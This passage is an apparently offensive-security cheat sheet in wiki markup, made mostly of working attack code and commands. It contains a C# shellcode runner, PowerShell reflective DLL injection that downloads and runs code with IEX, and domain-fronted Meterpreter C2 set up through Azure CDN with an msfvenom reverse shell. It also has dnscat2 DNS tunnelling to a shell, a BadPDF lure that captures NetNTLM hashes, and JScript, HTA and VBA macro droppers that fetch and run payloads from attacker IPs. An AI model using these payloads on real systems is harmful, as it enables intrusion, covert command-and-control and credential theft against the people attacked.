&lt;br /&gt;
        public static void Tripoli()&lt;br /&gt;
        {&lt;br /&gt;
            byte[] Tokyo = new byte[324] {0xa8,....};&lt;br /&gt;
            for (int i = 0; i &amp;lt; Tokyo.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                Tokyo[i] = (byte)(((uint)Tokyo[i] ^ 0xAA) &amp;amp; 0xFF);&lt;br /&gt;
            }&lt;br /&gt;
            int size = Tokyo.Length;&lt;br /&gt;
            IntPtr Texas = Beirut.VirtualAlloc(IntPtr.Zero, (uint)Tokyo.Length, 0x3000, 0x40);&lt;br /&gt;
            Marshal.Copy(Tokyo, 0, Texas, Tokyo.Length);&lt;br /&gt;
&lt;br /&gt;
            Beirut.VirtualProtect(Texas, (uint)Tokyo.Length, 0x20, out _);&lt;br /&gt;
&lt;br /&gt;
            IntPtr threadHandle = Beirut.CreateThread(IntPtr.Zero, 0, Texas, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
&lt;br /&gt;
            Beirut.WaitForSingleObject(threadHandle, 0xFFFFFFFF);&lt;br /&gt;
&lt;br /&gt;
            Beirut.VirtualFree(Texas, 0, 0x8000);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Reflective injection using Invoke-ReflectivePEInjection.ps1 ===&lt;br /&gt;
&lt;br /&gt;
[https://powersploit.readthedocs.io/en/latest/CodeExecution/Invoke-ReflectivePEInjection/ Invoke-ReflectivePEInjection - PowerSploit]&lt;br /&gt;
&lt;br /&gt;
Public version may fail on Windows 10 1803 or newer due to issues with  ​GetProcAddress​  in  ​UnsafeNativeMethods​ . An updated script version is available to handle this in OneNote.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Setup:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Allow Script Execution in PowerShell&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Powershell -Exec Bypass&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Commands:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Download DLL and Get Explorer.exe Process ID&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$bytes = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.119.120/met.dll&#039;)&lt;br /&gt;
$procid = (Get-Process -Name explorer).Id&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Import Invoke-ReflectivePEInjection Script&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Import-Module Invoke-ReflectivePEInjection.ps1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Execute Invoke-ReflectivePEInjection with Loaded DLL and Process ID&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Copy Invoke-ReflectivePEInjection to your Kali Apache web server and create a small PowerShell download script that downloads and executes it directly from memory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$bytes = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.45.192/met3.dll&#039;)&lt;br /&gt;
$procid = (Get-Process -Name explorer).Id&lt;br /&gt;
&lt;br /&gt;
IEX(New-Object Net.WebClient).downloadString(&#039;http://192.168.45.192/Invoke-ReflectivePEInjection.ps1&#039;)&lt;br /&gt;
Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Domain Fronting ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Domain fronting&#039;&#039;&#039; is a technique where someone hides the true destination of their internet traffic by making it appear as though it&#039;s headed to a trusted and well-known website. Once the traffic reaches that trusted site, it&#039;s then redirected to its actual, hidden destination. It&#039;s like sending a letter in an envelope addressed to a trusted friend, but inside that envelope is another envelope addressed to the real recipient.&lt;br /&gt;
&lt;br /&gt;
=== Domain Fronting with Azure CDN ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Objective&#039;&#039;&#039;: Host a Meterpreter listener on  ​meterpreter.info​  using Azure&#039;s CDN to proxy requests.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Preliminaries&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* A controlled domain.&lt;br /&gt;
&lt;br /&gt;
* An Azure subscription to create a CDN.&lt;br /&gt;
&lt;br /&gt;
* An internet-accessible machine.&lt;br /&gt;
&lt;br /&gt;
* Current setup:  ​meterpreter.info​  points to an Ubuntu VM on DigitalOcean (IP:  ​138.68.99.177​ ).&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Setting Up CDN in Azure&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* From the Home screen, choose  ​Create Resource​ .&lt;br /&gt;
&lt;br /&gt;
* Search for  ​CDN​ .&lt;br /&gt;
&lt;br /&gt;
* Select  ​CDN​  and click  ​Create​ .&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Configuration&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
*  ​Name​ : Any chosen name.&lt;br /&gt;
&lt;br /&gt;
*  ​Subscription​ : To pay for the service.&lt;br /&gt;
&lt;br /&gt;
*  ​Resource Group​ : Create new or use existing (Add  ​-rg​  at end for new).&lt;br /&gt;
&lt;br /&gt;
*  ​RG Location​ : Chosen geographic location.&lt;br /&gt;
&lt;br /&gt;
*  ​Pricing Tier​ : Use  ​Standard Verizon​ .&lt;br /&gt;
&lt;br /&gt;
*  ​CDN Endpoint Name​ : Chosen name with suffix  ​.azureedge.net​ .&lt;br /&gt;
&lt;br /&gt;
*  ​Origin Type​ : Set to  ​Custom Origin​ .&lt;br /&gt;
&lt;br /&gt;
*  ​Origin Hostname​ : The domain hosting the C2 server.&lt;br /&gt;
&lt;br /&gt;
Wait ~90 minutes for Azure to complete the setup.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Disabling Caching&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Caching may break the C2 channel.&lt;br /&gt;
&lt;br /&gt;
* Choose  ​Endpoint and Caching rules​ .&lt;br /&gt;
&lt;br /&gt;
* Set  ​Caching Behavior​  to  ​Bypass Cache​ .&lt;br /&gt;
&lt;br /&gt;
* Set  ​Query String Caching Behavior​  to  ​Bypass caching for query strings​ .&lt;br /&gt;
&lt;br /&gt;
Wait up to 30 minutes for propagation.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Testing Connectivity&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4.1. HTTP Testing&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
sudo python3 -m http.server 80&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4.2. HTTPS Testing&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
Use a Python script to handle HTTPS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
from http.server import HTTPServer, SimpleHTTPRequestHandler&lt;br /&gt;
import ssl&lt;br /&gt;
import socketserver  &lt;br /&gt;
httpd = socketserver.TCPServer((&#039;138.68.99.177&#039;, 443), SimpleHTTPRequestHandler) httpd.socket = ssl.wrap_socket(httpd.socket, keyfile=&amp;quot;key.pem&amp;quot;, certfile=&#039;cert.pem&#039;, server_side=True)&lt;br /&gt;
httpd.serve_forever()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Run the script:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo python3 httpsserver.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Verify using  ​curl​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl [http://offensive-security.azureedge.net http://offensive-security.azureedge.net]&lt;br /&gt;
curl -k [https://offensive-security.azureedge.net https://offensive-security.azureedge.net]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Find Frontable Domain&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Frontable domain must be hosted on  ​azureedge.net​ .&lt;br /&gt;
&lt;br /&gt;
* Use  ​FindFrontableDomains​  tool by Steve Borosh.&lt;br /&gt;
&lt;br /&gt;
Installation:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
git clone [https://github.com/rvrsh3ll/FindFrontableDomains https://github.com/rvrsh3ll/FindFrontableDomains]&lt;br /&gt;
cd FindFrontableDomains/&lt;br /&gt;
sudo ./setup.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Example scan for  ​outlook.com​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 FindFrontableDomains.py --domain outlook.com&lt;br /&gt;
[-] Enumerating subdomains now for outlook.com&lt;br /&gt;
[-] Searching now in Baidu..&lt;br /&gt;
[-] Searching now in Yahoo..&lt;br /&gt;
[-] Searching now in Google..&lt;br /&gt;
[-] Searching now in Bing..&lt;br /&gt;
[-] Searching now in Ask..&lt;br /&gt;
[-] Searching now in Netcraft..&lt;br /&gt;
[-] Searching now in DNSdumpster..&lt;br /&gt;
[-] Searching now in Virustotal..&lt;br /&gt;
[-] Searching now in ThreatCrowd..&lt;br /&gt;
[-] Searching now in SSL Certificates..&lt;br /&gt;
[-] Searching now in PassiveDNS..&lt;br /&gt;
[-] Total Unique Subdomains Found: 2553&lt;br /&gt;
www.outlook.com&lt;br /&gt;
(...)&lt;br /&gt;
recommended.yggdrasil.outlook.com&lt;br /&gt;
---------------------------------------------------------&lt;br /&gt;
Starting search for frontable domains...&lt;br /&gt;
Azure Frontable domain found: assets.outlook.com outlook-assets.azureedge.net.&lt;br /&gt;
Azure Frontable domain found: assets.outlook.com outlook-assets.afd.azureedge.net.&lt;br /&gt;
Search complete!&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Test potential frontable domain:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl --header &amp;quot;Host: offensive-security.azureedge.net&amp;quot; [http://chosen-frontable-domain.com http://chosen-frontable-domain.com]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6. Inspecting Traffic&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use  ​Wireshark​  to inspect DNS and HTTP requests.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Getting shell using Domain fronting&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Initial setup&#039;&#039;&#039;: Confirm that a domain (e.g., do.skype.com) can be used for domain fronting. This requires:&lt;br /&gt;
The fronting domain is hosted on the same CDN as the attacker’s domain.&lt;br /&gt;
&lt;br /&gt;
* CDN forwards requests based on the HTTP  ​Host​  header.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;HTTPS Inspection&#039;&#039;&#039;: With Wireshark, encrypted HTTPS traffic is sent to the same IP as a previous, legitimate test.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Certificate Details&#039;&#039;&#039;:&lt;br /&gt;
The TLS certificate used in the exchange can be Microsoft&#039;s.&lt;br /&gt;
&lt;br /&gt;
* A certificate can be valid for multiple domains via the Subject Alternative Names (SAN). In this case, it&#039;s valid for 99 different domains. This allows a single certificate to cover multiple domains using the same encryption key.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Payload Creation&#039;&#039;&#039;:&lt;br /&gt;
Use  ​msfvenom​  to create a reverse shell payload.&lt;br /&gt;
&lt;br /&gt;
* The  ​&amp;lt;code&amp;gt;HttpHostHeader&amp;lt;/code&amp;gt;​  option sets the  &amp;lt;code&amp;gt;​Host&amp;lt;/code&amp;gt;​  header in HTTP. In the example:  ​&amp;lt;code&amp;gt;msfvenom -p windows/x64/meterpreter/reverse_http LHOST=do.skype.com LPORT=80 HttpHostHeader=offensive-security.azureedge.net -f exe &amp;gt; http-df.exe​ &amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Listener Configuration&#039;&#039;&#039;:&lt;br /&gt;
Configure a listener on the VM hosting the attacker site.&lt;br /&gt;
&lt;br /&gt;
* Use the Metasploit  ​multi/handler​  exploit with specified parameters to listen for incoming connections using the domain fronting technique.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Payload Execution&#039;&#039;&#039;:&lt;br /&gt;
Start packet capturing tool (e.g., Wireshark).&lt;br /&gt;
&lt;br /&gt;
* Execute the payload.&lt;br /&gt;
&lt;br /&gt;
* Inspect the traffic details.&lt;br /&gt;
&lt;br /&gt;
* The shell connects to the fronted domain&#039;s IP (e.g., do.skype.com). The HTTP Host headers should be set to the attacker’s domain (e.g., offensive-security.azureedge.net).&lt;br /&gt;
&lt;br /&gt;
== DNS Tunneling ==&lt;br /&gt;
&lt;br /&gt;
DNS tunneling is a technique to encapsulate non-DNS traffic over DNS protocols. It can be used for both legitimate and malicious purposes, like bypassing firewalls or exfiltrating data.&lt;br /&gt;
&lt;br /&gt;
=== dnscat2 ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Guide: [https://highon.coffee/blog/dns-tunnel-dnscat2-cheat-sheet/ DNS Tunneling dnscat2 Cheat Sheet (highon.coffee)]&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[https://github.com/iagox86/dnscat2 GitHub - iagox86/dnscat2]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-11.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Configuration on Ubuntu Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;File to Edit&#039;&#039;&#039;:  ​/etc/dnsmasq.conf​ &lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Config Entries&#039;&#039;&#039;:&lt;br /&gt;
Add these entires to the authoritive DNS server in the domain. The 192.168.119.120 is our kali IP.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
server=/tunnel.com/192.168.119.120&lt;br /&gt;
server=/somedomain.com/192.168.119.120&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Restart dnsmasq&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
offsec@ubuntu:~$ sudo systemctl restart dnsmasq&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Installing and Running dnscat2 on Kali Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Installation&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
kali@kali:~$ sudo apt install dnscat2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Starting Server&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
kali@kali:~$ dnscat2-server tunnel.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Client command (example)&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
./dnscat --secret=d3d2f452f24afe4b362df248e2906c1d tunnel.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Running dnscat2 Client on Windows Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Start Command&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnscat2-v0.07-client-win32.exe tunnel.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Authentication Check&#039;&#039;&#039;&lt;br /&gt;
Verify the authentication string  ​Pedal Envied Tore Frozen Pegged Ware​  on both Kali and Windows sides.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Interacting with Client Session on Kali Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Attach to Session&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnscat2&amp;gt; session -i 1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Execute Commands Interactively&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
command (client) 1&amp;gt; shell&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Switch to New Session&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
command (client) 1&amp;gt; session -i 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Tunneling TCP with dnscat2 on Kali Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;TCP/IP Tunnels Over DNS&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* dnscat2 also supports TCP/IP tunnels over DNS. That means we can create a tunnel back to the victim machine so that we can RDP into it from our Kali system.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
command (client) 1&amp;gt; listen 127.0.0.1:3389 172.16.51.21:3389&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Dropper / Phishing ==&lt;br /&gt;
&lt;br /&gt;
=== [BAD]PDF ===&lt;br /&gt;
&lt;br /&gt;
[https://www.infosecmatter.com/metasploit-module-library/?mm=auxiliary/fileformat/badpdf BADPDF Malicious PDF Creator - Metasploit - InfosecMatter]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# This module can either creates a blank PDF file which contains a UNC link which can be used to capture NetNTLM credentials, or if the PDFINJECT option is used it will inject the necessary code into an existing PDF document if possible.&lt;br /&gt;
# Use the metasploit exploit and generate a PDF&lt;br /&gt;
msf6 auxiliary(fileformat/badpdf) &amp;gt; set lhost 10.10.14.8&lt;br /&gt;
lhost =&amp;gt; 10.10.14.8&lt;br /&gt;
msf6 auxiliary(fileformat/badpdf) &amp;gt; set filename job.pdf&lt;br /&gt;
filename =&amp;gt; job.pdf&lt;br /&gt;
msf6 auxiliary(fileformat/badpdf) &amp;gt; run&lt;br /&gt;
# Start a SMB server&lt;br /&gt;
impacket-smbserver share . -smb2support&lt;br /&gt;
# Now send the file through email or upload it to target. The point is to phish someone to open the PDF and then get their NetNTLMv2 hash.&lt;br /&gt;
impacket-smbserver share . -smb2support&lt;br /&gt;
Impacket v0.11.0 - Copyright 2023 Fortra&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0&lt;br /&gt;
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Incoming connection (10.10.110.35,4181)&lt;br /&gt;
[*] AUTHENTICATE_MESSAGE (Domain\Testuser,WORKSTATION-1)&lt;br /&gt;
[*] User WORKSTATION-1\Testuserauthenticated successfully&lt;br /&gt;
[*] Testuser::Domain:aaaaaaaaaaaaaaaa:40646fb31db19903e6a24ac5c3890ac9:01010000000000008054d853f122da0170c426f90c3a2d790000000001001000660049004f006a0070007a006400510003001000660049004f006a0070007a0064005100020010005a006b007a004900670056004e005000040010005a006b007a004900670056004e005000070008008054d853f122da010600040002000000080030003000000000000000000000000020000035dd0d4de6e44f56171932c0f1522230b9e11da16aa17557679e5fb48c1918560a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310034002e0038000000000000000000&lt;br /&gt;
[*] Closing down connection (10.10.110.35,4181)&lt;br /&gt;
[*] Remaining connections []&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Jscript (.js) ===&lt;br /&gt;
&lt;br /&gt;
* It downloads a file from a specified URL (&amp;quot; [http://192.168.119.120/met.exe http://192.168.1.126/met.exe]&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
* It uses the `MSXML2.XMLHTTP` object (an HTTP request object) to make a GET request to the specified URL and retrieve the file content.&lt;br /&gt;
&lt;br /&gt;
* If the HTTP request is successful (HTTP status code 200), it saves the retrieved content to a local file named &amp;quot;met.exe&amp;quot; using the `ADODB.Stream` object.&lt;br /&gt;
&lt;br /&gt;
* It then uses the `WScript.Shell` object to run the &amp;quot;met.exe&amp;quot; file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
var url = &amp;quot; http://192.168.119.120/met.exe&amp;quot;;&lt;br /&gt;
var Object = WScript.CreateObject(&#039;MSXML2.XMLHTTP&#039;);&lt;br /&gt;
Object.Open(&#039;GET&#039;, url, false);&lt;br /&gt;
Object.Send();&lt;br /&gt;
if (Object.Status == 200)&lt;br /&gt;
{&lt;br /&gt;
    var Stream = WScript.CreateObject(&#039;ADODB.Stream&#039;);&lt;br /&gt;
    Stream.Open();&lt;br /&gt;
    Stream.Type = 1;&lt;br /&gt;
    Stream.Write(Object.ResponseBody);&lt;br /&gt;
    Stream.Position = 0;&lt;br /&gt;
    Stream.SaveToFile(&amp;quot;met.exe&amp;quot;, 2);&lt;br /&gt;
    Stream.Close();&lt;br /&gt;
}&lt;br /&gt;
var r = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;).Run(&amp;quot;met.exe&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Proxy-aware ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
var url = &amp;quot;http://192.168.119.120/met.exe&amp;quot;;&lt;br /&gt;
var xmlhttp = new ActiveXObject(&amp;quot;MSXML2.XMLHTTP.3.0&amp;quot;);&lt;br /&gt;
// Set proxy details using setProxy method&lt;br /&gt;
xmlhttp.setProxy(2, &amp;quot;http://proxy.example.com:8080&amp;quot;, &amp;quot;&amp;quot;);&lt;br /&gt;
xmlhttp.open(&amp;quot;GET&amp;quot;, url, false);&lt;br /&gt;
xmlhttp.send();&lt;br /&gt;
if (xmlhttp.status === 200) {&lt;br /&gt;
    var stream = new ActiveXObject(&amp;quot;ADODB.Stream&amp;quot;);&lt;br /&gt;
    stream.Open();&lt;br /&gt;
    stream.Type = 1;&lt;br /&gt;
    stream.Write(xmlhttp.responseBody);&lt;br /&gt;
    stream.Position = 0;&lt;br /&gt;
    stream.SaveToFile(&amp;quot;met.exe&amp;quot;, 2);&lt;br /&gt;
    stream.Close();&lt;br /&gt;
}&lt;br /&gt;
var shell = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&lt;br /&gt;
shell.Run(&amp;quot;met.exe&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTA ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/In3x0rabl3/OSEP/blob/main/Payloads/Phishing/nonDN2J.hta OSEP/Payloads/Phishing/nonDN2J.hta at main · In3x0rabl3/OSEP (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
var shell = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&lt;br /&gt;
var re = shell.Run(&amp;quot;powershell -windowstyle hidden bitsadmin /Transfer newjob3 http://192.168.49.173/enc3.txt c:\\windows\\temp\\enc3.txt;certutil -decode c:\\windows\\temp\\enc3.txt c:\\windows\\temp\\bypass.exe;C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\installutil.exe /logfile= /LogToConsole=false /U C:\\windows\\temp\\bypass.exe&amp;quot;)&lt;br /&gt;
//var res = shell.Run(&amp;quot;bitsadmin /Transfer newjob2 http://192.168.49.173/enc2.txt c:\\windows\\temp\\enc1.txt&amp;quot;);&lt;br /&gt;
//var res1 = shell.Run(&amp;quot;timeout 10 &amp;amp;&amp;amp; certutil -decode c:\\windows\\temp\\enc.txt c:\\windows\\temp\\bypass.exe&amp;quot;);&lt;br /&gt;
//var res2 = shell.Run(&amp;quot;timeout 12 &amp;amp;&amp;amp; C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\installutil.exe /logfile= /LogToConsole=false /U C:\\windows\\temp\\bypass.exe&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
self.close();&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
var shell = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&lt;br /&gt;
var res = shell.Run(&amp;quot;powershell.exe iwr -uri http://172.21.23.10/inj_runner.exe -outfile C:\\users\\public\\runner.exe; C:\\users\\public\\runner.exe&amp;quot;);&lt;br /&gt;
var ress = shell.Run(&amp;quot;powershell.exe wget http://172.21.23.10/inj_runner.exe -o C:\\users\\public\\runner.exe; C:\\users\\public\\runner.exe&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
self.close();&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== VBA ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
	Dim str As String&lt;br /&gt;
	str = &amp;quot;powershell (New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/run.ps1&#039;) | IEX&amp;quot;&lt;br /&gt;
	Shell str, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
	MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
	MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
#&lt;br /&gt;
